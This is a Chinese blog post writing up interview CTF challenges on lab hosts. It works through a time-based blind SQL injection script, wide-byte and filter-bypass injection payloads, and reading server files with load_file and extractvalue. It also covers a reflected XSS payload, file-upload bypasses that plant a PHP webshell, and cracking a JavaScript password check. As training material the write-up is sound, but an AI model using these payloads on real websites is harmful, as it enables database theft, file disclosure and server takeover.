查看原文
其他

记某安全公司面试题writeup

2017-09-12 dogking 合天智汇

点击“合天智汇”关注,学习网安干货

0x00  前言

前段时间刚毕业,本来是要顺利入职某安全厂商的,但是被临时毁约,于是重新找渗透测试方向工作的时候,面试了某安全公司,做了下给出的面试题,简单记录下。


0x01  SQL注入1


要查询key表,id=1的string值,这里就直接加上id参数和单引号去访问测试下

http://192.168.2.13:83/?id=1’

发现页面并没有什么变化,通过浏览器F12查看下response headers,可以看到采用的是gbk的编码。


所以就尝试着用宽字节注入,这里就直接用sqlmap自带的一个针对宽字节注入的tamper插件 unmagicquotes

python sqlmap.py -u "http://192.168.2.13:83/?id=1" --tamper unmagicquotes -D sql5 -T key --dump

可以看到是注入成功了,并且key表的内容也得到了。


0x02  SQL注入2

查询当前数据库版本号作为flag进行提交


同样加上id参数和and 1=1来测试发现被拦截了,不过把and采用大写方式即可进行绕过


然后经测试发现,这个注入测试并无报错的地方,猜测可能是考察盲注,于是访问测试语句

http://192.168.2.13:84/?id=1 And if(1=1,sleep(5),0),发现的确存在时间盲注,网站响应了5秒才返回信息。


直接丢sqlmap跑不出数据,手动的一个个字符的猜也很麻烦,于是写了个简单的python脚本,通过网站服务器前后的响应时间差来判断出数据库版本号的长度,再逐个逐个字符的

去猜解。

import requests

import time

payload='1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.!@#$+=-'

data=''

print 'Judgment of data length...'

for i in range(1,20):

    url='http://192.168.2.13:84/index.php?id=1 AND if((SELECT length(version()))='+str(i)+',sleep(6),0)'

    starttime=time.time()

    response=requests.get(url)

    if time.time()-starttime>5:

        print 'the data length is:'+str(i)

        break

print 'Extract data...It will takes about '+str(i*6)+' seconds'

for j in range(1,i+1):

    for payloads in payload:

        url='http://192.168.2.13:84/index.php?id=1 AND if(version() like "'+data+payloads+'%",sleep(6),0)'

        starttime=time.time()

        reponse=requests.get(url)

        if time.time()-starttime>5:

            data+=payloads

            print data

            break

print 'the final result is:'+data


最后运行出来的结果为5.5.48-log


0x03 SQL注入3

查找表为key的数据表,id=1值hash字段值


此题给出了一段代码,可以看到代码里首先对注入的一些关键字进行了过滤,紧接着又对xss用strip_tags函数进行了过滤处理,但问题就出在这了,xss的过滤位于sql注入过滤的后面,且通过strip_tags函数过滤,这个strip_tags函数呢是替换字符串中的HTML、XML以及PHP的标签为空。那么可以先构造一个包含标签(如<b>/<h>/<i>)的注入语句,让注入语句通过sql注入的检查,然后在xss过滤过程中由于被剥去了标签又还原为了可以执行的sql语句。


http://192.168.2.13:87/?id=1 a<b>nd 1=1%23

http://192.168.2.13:87/?id=1 a<b>nd 1=2%23


通过上面这两题语句可以看到页面返回的内容并不一样,所以判断存在注入,那么接下来就是常规的注入。


http://192.168.2.13:87/?id=1 o<b>rder by 2%23   判断出来有两个字段


http://192.168.2.13:87/?id=1 unio<>n s<>elect 1,2%23  显示位为1,2


http://192.168.2.13:87/?id=1 unio<>n s<>elect 1,hash fr<>om `key`%23


查看hash值,另外这里查询key表的时候直接查询表名的话,查不出来,被过滤了,要用``间隔号包围起来之后同样可以查询出来


0x04 SQL注入4

通过sql注入读取文件内容


提示不允许包含空格,那么空格可以用/**/,%0a,%0d等进行代替,

因为读取文件要用load_file这个函数,而题目限制了不允许使用单引号,所以这里可以把

load_file(‘/var/test/key_1.php’)中的文件路径换成16进制的格式,从而绕过单引号的限制

load_file(0x2f7661722f746573742f6b65795f312e706870)

最后由于题目也限制了不能使用union关键字,那么可以使用extractvalue或updatexml函数来进行报错读取,首先读取文件内容的长度,payload如下


http://192.168.2.13:87/?id=1/**/and/**/extractvalue(1,concat(0x7e,(select/**/(length(load_file(0x2f7661722f746573742f6b65795f312e706870)))),0x7e))

读取出来的长度显示为149


那么接下来就读取数据,因为extractvalue函数每次只能读取32个字符,所以这里用substring函数限制每次只读取32个字符,依次增加往后读取,当读取的内容长度超过149时停止读取

http://192.168.2.13:88/?id=1/**/and/**/extractvalue(1,concat(0x7e,(select/**/(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),1,32))),0x7e))

 

http://192.168.2.13:88/?id=1/**/and/**/extractvalue(1,concat(0x7e,(select/**/(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),32,32))),0x7e))

 

http://192.168.2.13:88/?id=1/**/and/**/extractvalue(1,concat(0x7e,(select/**/(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),64,32))),0x7e))

 

http://192.168.2.13:88/?id=1/**/and/**/extractvalue(1,concat(0x7e,(select/**/(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),96,32))),0x7e))

 

http://192.168.2.13:88/?id=1/**/and/**/extractvalue(1,concat(0x7e,(select/**/(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),128,32))),0x7e))

 

最后把读取出来的内容进行拼接

<?php

fdsafasfdsafidsafdsaifdsakfdsaifdsafdsafdsafdsafkdsa;fdsfdsafsdafdsafas0hfdsg9Flag:"724f5a7fd1de602b30e6f39aea6193a"fsafsafdsafdsafdsafa ?>

可以清楚的看到被双引号包围起来的flag的值

Flag:"724f5a7fd1de602b30e6f39aea6193a"


0x05  XSS注入

xss弹窗alert(_key_),即可显示flag


题目的页面地址没有可以进行输入的地方,那么猜测就是一个基于url地址的反射型xss,

同时查看源代码发现如下这段代码


题目的页面地址没有可以进行输入的地方,那么猜测就是一个基于url地址的反射型xss,

同时查看源代码发现如下这段代码


那么可以先尝试着访问http://192.168.2.13:89/?id=<script>alert(1)</script>,并没有弹窗,查看源码发现<>尖括号被过滤了。


那么尖括号被过滤了,就去网上查找对应的绕过方法,最后通过强大的搜索发现可以把尖括号进行unicode编码,并且通过js引用图片标签报错弹窗,最后的padload如下

http://192.168.2.13:89/?id=\u003cimg src=1 onerror=alert(_key_)\u003e


0x06  隐藏值

查找页面中包含password的值,这道题很简单,直接查看服务器返回给客户端的set-cookie即可找到


0x07 文件上传1


这道题的话也很简单,就是前端js验证上传图片后缀+服务器端检测上传文件的mime类型

所以对应的上传绕过方法就是在谷歌浏览器的设置中禁用js,然后上传包含图片文件头和一句话木马的php文件,即可拿到flag

0x08 文件上传2


首先把木马文件修改为jpg后缀,在上传的时候通过burp抓包修改后缀名为php即可绕过上传


0x09 Js密码破解

点开链接后弹出一个窗口,要求输入flag,查看源代码可以看到窗口是用一段js代码实现的


现在根据代码中的判断条件去反向猜解flag,这里就直接在代码注释里添加破解过程了

var a = prompt("尝试输入测试密码","");        //变量a就是我们要猜的flag,输入之后进行后面的判断


var b = "56ab34c15b73a457069c58a43fcfc640";  //变量b是一串MD5值


var c = /.+_.+_.+/gi;     //变量c是正则表达式


var d = 0x0;      //变量d是十六进制数字0


var e = a.substr(0x8, 0x5);  // e字符串为a的第九位到第十三位,这里字符串下标从0开始的,所以substr(0x8,0x5)是从第9位开始取5位



if ($.md5(e) == b.replace(/3/ig, ++d+1).replace(/8/ig, 'e')) {


//e的md5值等于b进行正则替换后的值,这里可以直接在F12控制台上调试输出下面4条语句,即可得到e的md5值为56ab24c15b72a457069c5ea42fcfc640,然后解开得e的值为happy,同时注意这里对前面定义的d变量进行++d的操作,现在d的值为0x1//var d=0x0;//var b = "56ab34c15b73a457069c58a43fcfc640";//var e = b.replace(/3/ig, ++d+1).replace(/8/ig, 'e')

/console.log(e)

    var f = a.substr(0x0 / d, 0x7);     // f字符串为a的第一位到第七位

    if (f.substr(0x5, 0x2) == "lb" && $.md5(f.substr(0x0 / d, d + 0x3)) == "2481efd7de867935fe8fb3fde500c4a2") {

    // 第一个判断:f字符串第六七位为lb

    // 第二个判断:这里的d值为1,substr(0,3),解开下面md5得crcr,为f字符串的第一到第四位

    // 结果f=crcr lb,第五位未知

        r = a.substr(0xd);  

// 此处的d不是变量d,而是16进制的0xd转10进制为13,所以r字符串为a的第十四位到a字符串结束,a总个数未知

        if (r.charCodeAt(d) - 0x19 == r.charCodeAt(++d) - 0x19 && r.charCodeAt(--d) - 0x19 == r.charCodeAt(--d)) {

//现在这里的d变量仍然为0x1

        // 第一个判断:r字符串的第二位跟第三位,两个值相同,同时++d,d变量为2了

        // 第二个判断:r字符串的第二位unicode码减0x19的十进制,也就是减25,等于第一位的unicode码,此时d变量通过两次--d操作已经变为0了

        // 重点:上面的if出现四个d,第一个为1,第二个++d为2,第三个--d为1,第四个--d为0,d是每通过一次++d或者--d就+1或者-1


            var g = String.fromCharCode(0x4f);

            g = g.toLowerCase() + g.toLowerCase();

            // 这里直接把上面两条语句放入console控制台调试输出即可得g值,g = oo

            if (r.substr((++d) * 0x3, 0x6) == g.concat("soft") && c.test(a)) {

//注意此时的d变量通过++d又变为1了

    // 第一个判断:r.substr(0x3,0x6),r字符串第4位到9位为oosoft,concat函数将g值的oo与soft拼接起来

            // 第二个判断:test函数将a代入前面定义的c变量的正则表达式进行正则匹配a,所以猜测a的格式为xxxxxxx_xxxxx_xxxxx,a里面存在两个下划线,因为c的正则里面也有两个下划线

                d = String(0x1) + String(a.length)

        // 往下看代码,通过下面的a.substr(0x16, 0x1)猜测a长度可能为23,0x16的10进制为22,字符串从0算起22是第23位,然后d值拼接0x01等于123

            }

        }

    }

};

/**

 * 到此,我们先将上面的信息集合起来。

 * f = crcr lb  a变量的第1-7位

 * e = happy a变量的第9-13位

 * r =  00oosoft 第14位到结束

 * 组合得

 * a = crcr lb happy 00oosoft

 * 空格代表未知字符,其中里面两个00代表此处两个字符是相同的

 */

if (a.substr(0x4, 0x1) == String.fromCharCode(d) && a.substr(0x16, 0x1) == String.fromCharCode(0x7D)) {

// 第一个判断:a的第五位等于将上面的d=123进行unicode解码,得a的第五位是 { 这个符号

// 第二个判断:同样对0x7D进行unicode解码得a第23个字符为 } 符号

    alert("恭喜,输入过关key: "+a);

}

else{

    alert('再想想~');

}


/**

 * 到这里,看似结束,其实还有几个字符没解开

 * a = crcr{lb happy 00oosoft}

 * 中间两个空格,回想刚刚的正则匹配,可猜得对应的两个_下划线

 * a = crcr{lb_happy_00oosoft}

 * 倒回去看r变量的判断

 * 0的值为_下划线unicode码加25

 * 所以在控制台输入下面3条代码,即可得r两个相同的字符为xx

 * var r = '_'

 * console.log(r.charCodeAt(0))

 * console.log(String.fromCharCode(95+25))

 * 最终进行拼接获得a值,也就是我们的key:crcr{lb_happy_xxoosoft}

 */


解出e的值


解出g的值


解出r的两个相同值的字符


破解成功


0x10  结语

做题也花了些时间,最后也没去这家公司,简单记录分享给要找安全/渗透方面的同学,希望大家都找到适合自己的工作。


若读者因此做出危害网络安全的行为后果自负,与合天智汇及本人无关,特此声明。


别忘了投稿哟!!!

合天公众号开启原创投稿啦!!!

大家有好的技术原创文章。

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧!


合天网安实验室

网址 : www.hetianlab.com

电话:4006-123-731

长按图片,据说只有颜值高的人才能识别哦→

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存